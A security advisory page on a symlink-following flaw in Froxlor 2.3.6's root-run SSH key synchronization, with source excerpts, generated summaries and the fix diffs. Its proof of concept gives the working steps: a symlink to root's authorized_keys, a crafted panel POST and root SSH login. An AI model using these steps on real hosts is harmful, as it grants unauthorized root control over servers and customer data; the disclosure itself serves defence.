Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path
Description
Summary
Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to ~/.ssh/authorized_keys under a customer-controlled home directory without verifying that the target path is not a symbolic link.
If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.
Details
The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into SshKeys::add():
// customer_ftp.php:251-253
if ($action == 'add' && Request::post('send') == 'send') {
$result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key");
Commands::get()->apiCall('SshKeys.add', Request::postAll());
}
On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:
// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145
if ($this->getUserDetail('shell_allowed') != '1') {
throw new Exception("You cannot add SSH keys because shell access is disabled for your account.");
}
$ins_stmt = Database::prepare("
INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`.
");
Settings::AddTask('rebuildnssusers');
Later, a root-owned cron path enters SshKeys::generateFiles() and derives the target path by simple string concatenation:
// lib/Froxlor/Cron/System/SshKeys.php:52-64
$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');
$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');
if (!file_exists($authkeysfile)) {
touch($authkeysfile);
}
The helper used here only normalizes the path string and does not resolve or reject symlinks:
// lib/Froxlor/FileDir.php:376-392
public static function makeCorrectFile(string $file): string
{
$file = str_replace('//', '/', $file);
$file = str_replace('\\', '', $file);
return $file;
}
The root-owned sync code then appends attacker-controlled SSH key material to the derived path:
// lib/Froxlor/Cron/System/SshKeys.php:94-103
file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX);
chown($authkeysfile, $userinfo['uid']);
chgrp($authkeysfile, $userinfo['gid']);
Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at ~/.ssh/authorized_keys before the privileged synchronization step runs.
PoC
An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.
Relevant runtime prerequisites:
- the attacker controls a customer-owned home directory on the target host
- the attacking customer has
shell_allowed=1 - the attacker can submit SSH keys through the Froxlor panel
- Froxlor's master cron runs with the intended root privileges
Complete PoC flow:
- Obtain shell access as the customer-owned account and prepare a symlink in the home directory:
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys
ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys
- From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:
POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie:
csrf_token=VALID_CSRF_TOKEN&
send=send&
description=poc&
ftpuser=17&
ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host
- Wait for Froxlor's master cron to process the queued
REBUILD_NSSUSERStask. - Use the corresponding private key to authenticate as root:
ssh -i id_ed25519 root@target.example
Result:
- the root-owned cron task follows the symlinked
authorized_keyspath - the submitted public key is appended to
/root/.ssh/authorized_keys - SSH access as
rootsucceeds with the attacker's key pair
Impact
This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Froxlor 2.3.6 SSH key synchronization performs symlink-following, allowing a shell-enabled customer to escalate to root SSH access.
Vulnerability
Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users [1][2]. The provisioning code appends public keys to ~/.ssh/authorized_keys under a customer-controlled home directory without verifying that the target path is not a symbolic link [1]. The helper FileDir::makeCorrectFile() only normalizes the path string and does not resolve or reject symlinks [2].
Exploitation
An attacker who controls a shell-enabled customer account and can modify files inside the assigned home directory can replace ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys [1][2]. When Froxlor's privileged cron task later synchronizes SSH keys via SshKeys::generateFiles(), it appends the attacker-supplied public key into root's authorized key file [1]. No additional authentication or user interaction beyond the attacker's own session is required [1][2].
Impact
The attacker gains root SSH access to the server, obtaining full control over the system (confidentiality, integrity, and availability) [1][2].
Mitigation
As of the advisory publication date (2026-05-29), no fixed version has been released; the vulnerability exists in Froxlor 2.3.6 [1][2]. Users are advised to disable shell access for customer accounts or restrict file modification capabilities until a patch is available [1][2].
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
2662a034e57d3ensure a given symlink is resolved and validated correctly in `FileDir::makeCorrectFile()`
1 file changed · +5 −2
lib/Froxlor/FileDir.php+5 −2 modified@@ -312,7 +312,7 @@ public static function getUnknownDomainTemplate(string $servername = "") public static function storeDefaultIndex( string $loginname, string $destination, - $logger = null, + $logger = null, bool $force = false ) { @@ -391,6 +391,8 @@ public static function makeCorrectFile(string $filename, string $fixed_homedir = $filename = '/' . $filename; } + $filename = FileDir::makeCorrectDir(dirname($filename)) . '/' . basename($filename); + // if given, check that the target file is within the $fixed_homedir // by checking each folder and the file for being a symlink and whether it targets // the customers homedir or points outside of it @@ -420,7 +422,8 @@ public static function makeCorrectFile(string $filename, string $fixed_homedir = } // check whether file is symlink itself if (is_link($filename)) { - $check_dir = readlink($check_dir); + $filename = readlink($filename); + $check_dir = FileDir::makeCorrectDir(dirname($filename), $fixed_homedir); if (substr($check_dir, 0, strlen($fixed_homedir)) != $fixed_homedir) { throw new Exception("Found symlink pointing outside of customer home directory: " . substr($filename, strlen($fixed_homedir))); }
3dceec4650e0secured regex for Dns LOC entries validation; remove invalid control characters in every dns content-field; ensure given shell exists in Ftps.add/update; ensure authorized_keys file for SshKeys is within the customers documentroot
6 files changed · +74 −21
install/updates/preconfig/preconfig_2.3.inc.php+5 −5 modified@@ -82,12 +82,12 @@ $return['system_webserver_serveradmin'] = [ 'type' => 'select', 'select_var' => [ - 'customer' => lng('admin.webserver_serveradmin.customer'), - 'admin' => lng('admin.webserver_serveradmin.admin'), - 'global' => lng('admin.webserver_serveradmin.global'), - 'none' => lng('admin.webserver_serveradmin.none') + 'customer' => 'Customer email address (default)', + 'admin' => 'Admin email address', + 'global' => 'Panel admin email address', + 'none' => 'No ServerAdmin' ], - 'selected' => 'apache2', + 'selected' => 'customer', 'label' => $question, 'prior_infotext' => $description ];
lib/Froxlor/Api/Commands/DomainZones.php+5 −2 modified@@ -145,8 +145,6 @@ public function add() } } - // TODO regex validate content for invalid characters - if ($ttl <= 0) { $ttl = 18000; } @@ -156,6 +154,11 @@ public function add() $errors[] = lng('error.dns_content_empty'); } + // remove invalid control characters (allow tab + printable ASCII) + $content = preg_replace('/[^\x09\x20-\x7E]/', '', $content); + // collapse excessive whitespace + $content = preg_replace('/\s+/', ' ', $content); + if ($type != 'CNAME') { // check whether there is a CNAME-record for the same resource foreach ($dom_entries as $existing_entries) {
lib/Froxlor/Api/Commands/Ftps.php+8 −0 modified@@ -118,6 +118,10 @@ public function add() if (Settings::Get('system.allow_customer_shell') == '1' && $customer['shell_allowed'] == '1') { $shell = Validate::validate(trim($shell), 'shell', '', '', [], true); + $availableshells = explode(',', Settings::Get('system.available_shells')); + if (!is_array($availableshells) || empty($availableshells) || !in_array($shell, $availableshells)) { + $shell = "/bin/false"; + } } else { $shell = "/bin/false"; } @@ -438,6 +442,10 @@ public function update() if (Settings::Get('system.allow_customer_shell') == '1' && $customer['shell_allowed'] == '1') { $shell = Validate::validate(trim($shell), 'shell', '', '', [], true); + $availableshells = explode(',', Settings::Get('system.available_shells')); + if (!is_array($availableshells) || empty($availableshells) || !in_array($shell, $availableshells)) { + $shell = "/bin/false"; + } } else { $shell = "/bin/false"; }
lib/Froxlor/Cron/System/SshKeys.php+5 −1 modified@@ -33,6 +33,9 @@ class SshKeys { + /** + * @throws \Exception + */ public static function generateFiles(&$cronlog) { if (intval(Settings::Get('system.allow_customer_shell')) == 0) { @@ -50,7 +53,8 @@ public static function generateFiles(&$cronlog) SELECT `id`, `ssh_pubkey` FROM `" . TABLE_PANEL_USER_SSHKEYS . "` WHERE `ftp_user_id` = :fuid AND `customerid` = :cid "); while ($usr = $sel_stmt->fetch(PDO::FETCH_ASSOC)) { - $authkeysfile = FileDir::makeCorrectFile($usr['homedir'] . '/.ssh/authorized_keys'); + $userHomeDir = FileDir::makeCorrectDir($usr['homedir'] . '/.ssh', $usr['homedir']); + $authkeysfile = FileDir::makeCorrectFile($userHomeDir . '/authorized_keys', $usr['homedir']); $cronlog->logAction(FroxlorLogger::CRON_ACTION, LOG_NOTICE, 'Creating file ' . $authkeysfile); // remove all entries with 'froxlor:id=...' self::removeFroxlorKeys($authkeysfile, $cronlog);
lib/Froxlor/FileDir.php+39 −1 modified@@ -370,10 +370,12 @@ public static function storeDefaultIndex( * Function which returns a correct filename, means to add a slash at the beginning if there wasn't one * * @param string $filename the filename + * @param string $fixed_homedir whether to check that the given file is within the fixed home-directory * * @return string the corrected filename + * @throws Exception */ - public static function makeCorrectFile(string $filename): string + public static function makeCorrectFile(string $filename, string $fixed_homedir = ""): string { if (trim($filename) == '') { $error = 'Given filename for function ' . __FUNCTION__ . ' is empty.' . "\n"; @@ -389,6 +391,42 @@ public static function makeCorrectFile(string $filename): string $filename = '/' . $filename; } + // if given, check that the target file is within the $fixed_homedir + // by checking each folder and the file for being a symlink and whether it targets + // the customers homedir or points outside of it + if (!empty($fixed_homedir)) { + $to_check = explode("/", substr($filename, strlen(self::makeCorrectDir($fixed_homedir))), -1); + $check_dir = substr($fixed_homedir, -1) == '/' ? substr($fixed_homedir, 0, -1) : $fixed_homedir; + // Symlink check + foreach ($to_check as $sub_dir) { + $check_dir .= '/' . $sub_dir; + if (is_link($check_dir)) { + $original_target = $check_dir; + $check_dir = readlink($check_dir); + $link_dir = dirname($original_target); + // check whether the link is relative or absolute + if (substr($check_dir, 0, 1) != '/') { + // relative directory, prepend link_dir + $check_dir = $link_dir . '/' . $check_dir; + } + if (substr($check_dir, 0, strlen($fixed_homedir)) != $fixed_homedir) { + throw new Exception("Found symlink pointing outside of customer home directory: " . substr($original_target, strlen($fixed_homedir))); + } + } + } + // check for the path to be within the given homedir + if (substr($filename, 0, strlen($fixed_homedir)) != $fixed_homedir) { + throw new Exception("Target path/file not within the required customer home directory"); + } + // check whether file is symlink itself + if (is_link($filename)) { + $check_dir = readlink($check_dir); + if (substr($check_dir, 0, strlen($fixed_homedir)) != $fixed_homedir) { + throw new Exception("Found symlink pointing outside of customer home directory: " . substr($filename, strlen($fixed_homedir))); + } + } + } + return self::makeSecurePath($filename); }
lib/Froxlor/Validate/Validate.php+12 −12 modified@@ -390,18 +390,18 @@ public static function validateBase64Image(string $base64string) public static function validateDnsLoc(string $input) { $pattern = '/^ - (\d{1,2})\s+ # latitude degrees - (\d{1,2})\s+ # latitude minutes - (\d{1,2}(?:\.\d+)?)\s+ # latitude seconds - ([NS])\s+ # latitude direction - (\d{1,3})\s+ # longitude degrees - (\d{1,2})\s+ # longitude minutes - (\d{1,2}(?:\.\d+)?)\s+ # longitude seconds - ([EW])\s+ # longitude direction + (\d{1,2})[ \t]+ # latitude degrees + (\d{1,2})[ \t]+ # latitude minutes + (\d{1,2}(?:\.\d+)?)[ \t]+ # latitude seconds + ([NS])[ \t]+ # latitude direction + (\d{1,3})[ \t]+ # longitude degrees + (\d{1,2})[ \t]+ # longitude minutes + (\d{1,2}(?:\.\d+)?)[ \t]+ # longitude seconds + ([EW])[ \t]+ # longitude direction (-?\d+(?:\.\d+)?)m # altitude - (?:\s+(\d+(?:\.\d+)?)m # size (optional) - (?:\s+(\d+(?:\.\d+)?)m # horiz precision (optional) - (?:\s+(\d+(?:\.\d+)?)m)? # vert precision (optional) + (?:[ \t]+(\d+(?:\.\d+)?)m # size (optional) + (?:[ \t]+(\d+(?:\.\d+)?)m # horiz precision (optional) + (?:[ \t]+(\d+(?:\.\d+)?)m)? # vert precision (optional) )?)?$/x'; if (!preg_match($pattern, $input, $matches)) { @@ -551,7 +551,7 @@ public static function validateDnsTlsa(string $input) return false; // SHA-512 } - if ($matchingType === 0 && strlen($data) < 2) { + if ($matchingType === 0 && (strlen($data) < 2 || strlen($data) > 4096)) { return false; // at least 1 byte hex }
Vulnerability mechanics
Root cause
"Missing symlink validation in the SSH key synchronization path allows a customer-controlled symlink to redirect privileged file writes to an arbitrary location."
Attack vector
An attacker with a shell-enabled customer account replaces `~/.ssh/authorized_keys` with a symlink pointing to `/root/.ssh/authorized_keys`. When Froxlor's root-owned cron task later runs `SshKeys::generateFiles()`, it follows the symlink and appends the attacker's submitted SSH public key into root's authorized_keys file, granting root SSH access. The attacker must have an authenticated Froxlor session, shell access on the customer account, and the ability to submit SSH keys through the panel [ref_id=1][ref_id=2].
Affected code
The vulnerability lies in `lib/Froxlor/Cron/System/SshKeys.php` where `generateFiles()` constructs the authorized_keys path via `FileDir::makeCorrectFile()` without symlink resolution, and in `lib/Froxlor/FileDir.php` where the original `makeCorrectFile()` only normalizes path strings without checking for symbolic links. The cron task at `SshKeys.php:52-64` and the file-writing at `SshKeys.php:94-103` are the critical code paths.
What the fix does
Patch 3101451 adds a `$fixed_homedir` parameter to `FileDir::makeCorrectFile()` and iterates over each path component, calling `readlink()` on any symlink and throwing an exception if the resolved target points outside the customer's home directory [patch_id=3101451]. Patch 3101452 further refines the symlink check by also resolving the final file component itself via `readlink()` and validating it stays within the homedir [patch_id=3101452]. Together these patches ensure the cron task cannot follow a symlink that escapes the customer's home directory.
Preconditions
- authAttacker must have a shell-enabled customer account with write access to the home directory
- authAttacker must be able to submit SSH keys through the authenticated Froxlor panel
- configFroxlor's master cron must run with root privileges
- configCustomer must have shell_allowed=1
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.